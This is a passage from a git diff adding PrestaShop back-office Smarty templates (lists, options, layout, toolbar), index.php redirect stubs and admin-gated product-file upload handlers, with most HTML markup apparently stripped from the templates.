License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + diff --git a/BO/themes/default/template/helpers/list/list_action_transferstock.tpl b/BO/themes/default/template/helpers/list/list_action_transferstock.tpl new file mode 100755 index 0000000..60afb2d --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_transferstock.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + diff --git a/BO/themes/default/template/helpers/list/list_action_view.tpl b/BO/themes/default/template/helpers/list/list_action_view.tpl new file mode 100755 index 0000000..0cd241f --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_view.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list_content.tpl b/BO/themes/default/template/helpers/list/list_content.tpl new file mode 100755 index 0000000..add0db7 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_content.tpl @@ -0,0 +1,147 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
+ {if {$has_bulk_actions}} + {if isset($list_skip_actions.delete)} + {if !in_array($tr.$identifier, $list_skip_actions.delete)} + + {/if} + {else} + + {/if} + {/if} + + {else} + > + {/if} + {/block} + {block name="td_content"} + {if isset($params.prefix)}{$params.prefix}{/if} + {if isset($params.color) && isset($tr[$params.color])} + + {/if} + {if isset($tr.$key)} + {if isset($params.active)} + {$tr.$key} + {elseif isset($params.activeVisu)} + {if $tr.$key}{l s='Enabled'}{else}{l s='Disabled'}{/if} + {elseif isset($params.position)} + {if $order_by == 'position' && $order_way != 'DESC'} + + {l s='Down'} + + + + {l s='Up'} + + {else} + {$tr.$key.position + 1} + {/if} + {elseif isset($params.image)} + {$tr.$key} + {elseif isset($params.icon)} + {if is_array($tr[$key])} + {$tr[$key]['alt']} + {/if} + {elseif isset($params.price)} + {$tr.$key} + {elseif isset($params.float)} + {$tr.$key} + {elseif isset($params.type) && $params.type == 'date'} + {$tr.$key} + {elseif isset($params.type) && $params.type == 'datetime'} + {$tr.$key} + {elseif isset($params.type) && $params.type == 'decimal'} + {$tr.$key|string_format:"%.2f"} + {elseif isset($params.type) && $params.type == 'percent'} + {$tr.$key} {l s='%'} + {* If type is 'editable', an input is created *} + {elseif isset($params.type) && $params.type == 'editable' && isset($tr.id)} + + {elseif isset($params.callback)} + {$tr.$key} + {elseif $key == 'color'} +
+ {elseif isset($params.maxlength) && Tools::strlen($tr.$key) > $params.maxlength} + {$tr.$key|truncate:$params.maxlength:'...'|escape:'htmlall':'UTF-8'} + {else} + {$tr.$key|escape:'htmlall':'UTF-8'} + {/if} + {else} + {block name="default_field"}--{/block} + {/if} + {if isset($params.suffix)}{$params.suffix}{/if} + {if isset($params.color) && isset($tr.color)} +
+ {/if} + {/block} + {block name="close_td"} +
+ {if isset($tr.shop_short_name)} + {$tr.shop_short_name} + {else} + {$tr.shop_name} + {/if} + {foreach $actions AS $action} + {if isset($tr.$action)} + {$tr.$action} + {/if} + {/foreach} +
{l s='No items found'}
+ {if $bulk_actions} +

+ {foreach $bulk_actions as $key => $params} + + {/foreach} +

+ {/if} + + + +{if !$simple_header} + + +{/if} + + +{hook h='displayAdminListAfter'} +{if isset($name_controller)} + {capture name=hookName assign=hookName}display{$name_controller|ucfirst}ListAfter{/capture} + {hook h=$hookName} +{elseif isset($smarty.get.controller)} + {capture name=hookName assign=hookName}display{$smarty.get.controller|ucfirst|htmlentities}ListAfter{/capture} + {hook h=$hookName} +{/if} + + +{block name="after"}{/block} \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list_header.tpl b/BO/themes/default/template/helpers/list/list_header.tpl new file mode 100755 index 0000000..1a821e4 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_header.tpl @@ -0,0 +1,220 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if !$simple_header} + + + {* Display column names and arrows for ordering (ASC, DESC) *} + {if $is_order_position} + + + + {/if} + + + + +{/if}{* End if simple_header *} + +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +{/if} + +{if !$simple_header} +
{block name="leadin"}{/block}
+{/if} + +{block name="override_header"}{/block} + + +{hook h='displayAdminListBefore'} +{if isset($name_controller)} + {capture name=hookName assign=hookName}display{$name_controller|ucfirst}ListBefore{/capture} + {hook h=$hookName} +{elseif isset($smarty.get.controller)} + {capture name=hookName assign=hookName}display{$smarty.get.controller|ucfirst|htmlentities}ListBefore{/capture} + {hook h=$hookName} +{/if} + + +{if !$simple_header} +
+ +{/if} + + {if !$simple_header} + + + + {/if} + + +
+ + {if $page > 1} +   + + {/if} + {l s='Page'} {$page} / {$total_pages} + {if $page < $total_pages} +   + + {/if} + | {l s='Display'} + + / {$list_total} {l s='result(s)'} + + + + + + +
+ + {foreach $fields_display AS $key => $params} + + {/foreach} + {if $shop_link_type} + + {/if} + {if $has_actions} + + {/if} + + + + {foreach $fields_display AS $key => $params} + + {/foreach} + {if $shop_link_type} + + {/if} + {if $has_actions} + + {/if} + + {if !$simple_header} + + + + {* Filters (input, select, date or bool) *} + {foreach $fields_display AS $key => $params} + + {/foreach} + + {if $shop_link_type} + + {/if} + {if $has_actions} + + {/if} + + {/if} + diff --git a/BO/themes/default/template/helpers/modules_list/list.tpl b/BO/themes/default/template/helpers/modules_list/list.tpl new file mode 100755 index 0000000..7bf5370 --- /dev/null +++ b/BO/themes/default/template/helpers/modules_list/list.tpl @@ -0,0 +1,46 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

{l s='Modules list'}

+
+
    + {if count($modules_list)} +
  • + {counter start=1 assign="count"} + {foreach from=$modules_list item=module} +
    {include file='controllers/modules/tab_module_line.tpl' class_row={cycle values=",row alt"}}
    + {if $count %2 == 0} +
  • +
  • + {/if} + {counter} + {/foreach} +
  • + {else} +
+ {/if} + + +
\ No newline at end of file diff --git a/BO/themes/default/template/helpers/options/index.php b/BO/themes/default/template/helpers/options/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/helpers/options/options.tpl b/BO/themes/default/template/helpers/options/options.tpl new file mode 100755 index 0000000..ea9bb26 --- /dev/null +++ b/BO/themes/default/template/helpers/options/options.tpl @@ -0,0 +1,224 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+{/if} + + + +{block name="defaultOptions"} + + {foreach $option_list AS $category => $categoryData} + {if isset($categoryData['top'])}{$categoryData['top']}{/if} +
+ {* Options category title *} + + + {if isset($categoryData['title'])}{$categoryData['title']}{else}{l s='Options'}{/if} + + + {* Category description *} + {if (isset($categoryData['description']) && $categoryData['description'])} +
{$categoryData['description']}
+ {/if} + {* Category info *} + {if (isset($categoryData['info']) && $categoryData['info'])} +

{$categoryData['info']}

+ {/if} + + {if !$categoryData['hide_multishop_checkbox'] && $use_multishop} + {l s='Check/uncheck all'} {l s='(Check boxes if you want to set a custom value for this shop or group shop context)'} +
+ {/if} + + {foreach $categoryData['fields'] AS $key => $field} + {if $field['type'] == 'hidden'} + + {else} +
+ {if !$categoryData['hide_multishop_checkbox'] && $field['multishop_default'] && empty($field['no_multishop_checkbox'])} +
+ +
+ {/if} + {block name="label"} + {if isset($field['title'])} + + {/if} + {/block} + {block name="field"} +
+ {block name="input"} + {if $field['type'] == 'select'} + {if $field['list']} + + {else if isset($input.empty_message)} + {$input.empty_message} + {/if} + {elseif $field['type'] == 'bool'} + + + + + + + {elseif $field['type'] == 'radio'} + {foreach $field['choices'] AS $k => $v} + +
+ {/foreach} +
+ {elseif $field['type'] == 'checkbox'} + {foreach $field['choices'] AS $k => $v} + +
+ {/foreach} +
+ {elseif $field['type'] == 'text'} + + {if isset($field['suffix'])} {$field['suffix']|strval}{/if} + {elseif $field['type'] == 'password'} + + {if isset($field['suffix'])} {$field['suffix']|strval}{/if} + {elseif $field['type'] == 'textarea'} + + {elseif $field['type'] == 'file'} + {if isset($field['thumb']) && $field['thumb']} + {$field['title']}
+ {/if} + + {elseif $field['type'] == 'color'} + + {elseif $field['type'] == 'price'} + {$currency_left_sign}{$currency_right_sign} {l s='(tax excl.)'} + {elseif $field['type'] == 'textLang' || $field['type'] == 'textareaLang' || $field['type'] == 'selectLang'} + {if $field['type'] == 'textLang'} + {foreach $field['languages'] AS $id_lang => $value} +
+ +
+ {/foreach} + {elseif $field['type'] == 'textareaLang'} + {foreach $field['languages'] AS $id_lang => $value} +
+ +
+ {/foreach} + {elseif $field['type'] == 'selectLang'} + {foreach $languages as $language} +
+ +
+ {/foreach} + {/if} + {if count($languages) > 1} +
+ +
+
+ {l s='Choose language:'}

+ {foreach $languages as $language} + {$language.name} + {/foreach} +
+ {/if} +
+ {/if} + + {if isset($field['required']) && $field['required'] && $field['type'] != 'radio'} + * + {/if} + {if isset($field['hint'])}{$field['hint']} {/if} + {/block}{* end block input *} + {if isset($field['desc'])}

{$field['desc']}

{/if} + {if $field['is_invisible']}

{l s='You can\'t change the value of this configuration field in the context of this shop.'}

{/if} +
+
+
+ {/block}{* end block field *} + {/if} + {/foreach} + {if isset($categoryData['submit'])} +
+ +
+ {/if} + {if isset($categoryData['required_fields']) && $categoryData['required_fields']} +
* {l s='Required field'}
+ {/if} + {if isset($categoryData['bottom'])}{$categoryData['bottom']}{/if} +

+ {/foreach} + {hook h='displayAdminOptions'} + {if isset($name_controller)} + {capture name=hookName assign=hookName}display{$name_controller|ucfirst}Options{/capture} + {hook h=$hookName} + {elseif isset($smarty.get.controller)} + {capture name=hookName assign=hookName}display{$smarty.get.controller|ucfirst|htmlentities}Options{/capture} + {hook h=$hookName} + {/if} + +{/block} +{block name="after"}{/block} diff --git a/BO/themes/default/template/helpers/required_fields.tpl b/BO/themes/default/template/helpers/required_fields.tpl new file mode 100755 index 0000000..c55be5b --- /dev/null +++ b/BO/themes/default/template/helpers/required_fields.tpl @@ -0,0 +1,58 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+

+ {l s='Set required fields for this section'} +

+
+ {if $has_bulk_actions} + + {/if} + + {if isset($params.hint)}{$params.hint} {/if} + + {$params.title} + + {if (!isset($params.orderby) || $params.orderby) && !$simple_header} +
+ + + + + {elseif !$simple_header} +
  + {/if} +
+ {if $shop_link_type == 'shop'} + {l s='Shop'} + {else} + {l s='Group shop'} + {/if} +
  +
{l s='Actions'}{if !$simple_header}
 {/if}
+ {if $has_bulk_actions} + -- + {/if} + + {if isset($params.search) && !$params.search} + -- + {else} + {if $params.type == 'bool'} + + {elseif $params.type == 'date' || $params.type == 'datetime'} + {l s='From'}
+ {l s='To'} + {elseif $params.type == 'select'} + {if isset($params.filter_key)} + + {/if} + {else} + + {/if} + {/if} +
----
{l s='No modules available in this section.'}
+ + + + + + + + {foreach $table_fields as $field} + {if !in_array($field, $required_class_fields)} + + + + + {/if} + {/foreach} + +
{l s='Field Name'}
{$field}

+
+ +
+

+ + diff --git a/BO/themes/default/template/helpers/view/index.php b/BO/themes/default/template/helpers/view/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/helpers/view/view.tpl b/BO/themes/default/template/helpers/view/view.tpl new file mode 100755 index 0000000..a5fe747 --- /dev/null +++ b/BO/themes/default/template/helpers/view/view.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +{/if} + +
{block name="leadin"}{/block}
+ +{block name="override_tpl"}{/block} + +{hook h='displayAdminView'} +{if isset($name_controller)} + {capture name=hookName assign=hookName}display{$name_controller|ucfirst}View{/capture} + {hook h=$hookName} +{elseif isset($smarty.get.controller)} + {capture name=hookName assign=hookName}display{$smarty.get.controller|ucfirst|htmlentities}View{/capture} + {hook h=$hookName} +{/if} diff --git a/BO/themes/default/template/index.php b/BO/themes/default/template/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/BO/themes/default/template/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/invalid_token.tpl b/BO/themes/default/template/invalid_token.tpl new file mode 100755 index 0000000..e97cd66 --- /dev/null +++ b/BO/themes/default/template/invalid_token.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + {l s='Invalid security token'} + + +
+ + {l s='Invalid security token'} +
+ + {l s='I understand the risks and I really want to display this page'} + + + {l s='Take me out of here!'} + + + \ No newline at end of file diff --git a/BO/themes/default/template/layout-ajax.tpl b/BO/themes/default/template/layout-ajax.tpl new file mode 100755 index 0000000..453a765 --- /dev/null +++ b/BO/themes/default/template/layout-ajax.tpl @@ -0,0 +1,97 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($json)} +{ + "status" : "{$status}", + "confirmations" : {$confirmations}, + "informations" : {$informations}, + "error" : {$errors}, + "warnings" : {$warnings}, + "content" : {$page} +} +{else} + + {if isset($conf)} +
+ {$conf} +
+ {/if} + + {if count($errors)} {* @todo what is ??? AND $this->_includeContainer *} +
+ X + {if count($errors) == 1} + {$errors[0]} + {else} + {l s='%d errors' sprintf=$errors|count} +
+
    + {foreach $errors AS $error} +
  1. {$error}
  2. + {/foreach} +
+ {/if} +
+ {/if} + + {if isset($informations) && count($informations) && $informations} +
+ {foreach $informations as $info} + {$info}
+ {/foreach} +

+ {/if} + + {if isset($confirmations) && count($confirmations) && $confirmations} +
+ {foreach $confirmations as $confirm} + {$confirm}
+ {/foreach} +

+ {/if} + + {if count($warnings)} +
+ + X + + {if count($warnings) > 1} + {l s='There are %d warnings.' sprintf=count($warnings)} + + {l s='Click here to see more'} + + + {else} + {l s='There is %d warning.' sprintf=count($warnings)} + {/if} +
    + {foreach $warnings as $warning} +
  • {$warning}
  • + {/foreach} +
+
+ {/if} + {$page} +{/if} diff --git a/BO/themes/default/template/layout-export.tpl b/BO/themes/default/template/layout-export.tpl new file mode 100755 index 0000000..3197a20 --- /dev/null +++ b/BO/themes/default/template/layout-export.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{$export_precontent}{foreach from=$export_headers item=header}{$header};{/foreach} +{foreach from=$export_content item=line} + +{foreach from=$line item=content}{$content};{/foreach} +{/foreach} \ No newline at end of file diff --git a/BO/themes/default/template/layout.tpl b/BO/themes/default/template/layout.tpl new file mode 100755 index 0000000..10ca2fd --- /dev/null +++ b/BO/themes/default/template/layout.tpl @@ -0,0 +1,95 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{include file='header.tpl'} +{if isset($conf)} +
+ {$conf} +
+{/if} +{if count($errors) && (!isset($disableDefaultErrorOutPut) || $disableDefaultErrorOutPut == false)} +
+ + X + + + {if count($errors) == 1} + {$errors[0]} + {else} + {l s='%d errors' sprintf=$errors|count} +
+
    + {foreach $errors as $error} +
  1. {$error}
  2. + {/foreach} +
+ {/if} +
+{/if} +{if isset($informations) && count($informations) && $informations} +
+ + {l s='Click here to see more informations'} + + +

+{/if} +{if isset($confirmations) && count($confirmations) && $confirmations} +
+ {foreach $confirmations as $conf} + {$conf}
+ {/foreach} +

+{/if} +{if count($warnings)} +
+ + X + + {if count($warnings) > 1} + {l s='There are %d warnings.' sprintf=count($warnings)} + + {l s='Click here to see more'} + + +
    1}style="display:none;"{/if} id="seeMore"> + {foreach $warnings as $warning} +
  • {$warning}
  • + {/foreach} +
+ {else} +
    + {foreach $warnings as $warning} +
  • {$warning}
  • + {/foreach} +
+ {/if} +
+{/if} +{$page} +{include file='footer.tpl'} \ No newline at end of file diff --git a/BO/themes/default/template/toolbar.tpl b/BO/themes/default/template/toolbar.tpl new file mode 100755 index 0000000..957a6b4 --- /dev/null +++ b/BO/themes/default/template/toolbar.tpl @@ -0,0 +1,185 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+
+ {block name=toolbarBox} +
    + {foreach from=$toolbar_btn item=btn key=k} +
  • + + +
    {$btn.desc}
    +
    + {if $k == 'modules-list'} + + {/if} +
  • + {/foreach} +
+ + + {/block} +
+

{block name=pageTitle} + + {if $title} + {foreach $title as $key => $item name=title} + {* Use strip_tags because if the string already has been through htmlentities using escape will break it *} + {$item|strip_tags} + {if !$smarty.foreach.title.last} + > + {/if} + + {/foreach} + {else} +   + {/if} + + {/block} +

+
+
+
diff --git a/BO/themes/index.php b/BO/themes/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/BO/themes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/uploadProductFile.php b/BO/uploadProductFile.php new file mode 100755 index 0000000..6dbcfd9 --- /dev/null +++ b/BO/uploadProductFile.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +include(_PS_ADMIN_DIR_.'/../config/config.inc.php'); + +if (!isset(Context::getContext()->employee) || !Context::getContext()->employee->isLoggedBack()) + die; + +if (isset($_FILES['virtual_product_file']) AND is_uploaded_file($_FILES['virtual_product_file']['tmp_name']) AND +(isset($_FILES['virtual_product_file']['error']) AND !$_FILES['virtual_product_file']['error']) OR +(!empty($_FILES['virtual_product_file']['tmp_name']) AND $_FILES['virtual_product_file']['tmp_name'] != 'none')) +{ + $filename = $_FILES['virtual_product_file']['name']; + $file = $_FILES['virtual_product_file']['tmp_name']; + $newfilename = ProductDownload::getNewFilename(); + + if (!copy($file, _PS_DOWNLOAD_DIR_.$newfilename)) + { + header('HTTP/1.1 500 Error'); + echo ''; + } + @unlink($file); + + header('HTTP/1.1 200 OK'); + echo ''; +} +else +{ + header('HTTP/1.1 500 Error'); + echo ''; +} diff --git a/BO/uploadProductFileAttribute.php b/BO/uploadProductFileAttribute.php new file mode 100755 index 0000000..1a87b9d --- /dev/null +++ b/BO/uploadProductFileAttribute.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +include(_PS_ADMIN_DIR_.'/../config/config.inc.php'); + +if (!isset(Context::getContext()->employee) || !Context::getContext()->employee->isLoggedBack()) + die; + +if (isset($_FILES['virtual_product_file_attribute']) && is_uploaded_file($_FILES['virtual_product_file_attribute']['tmp_name']) && 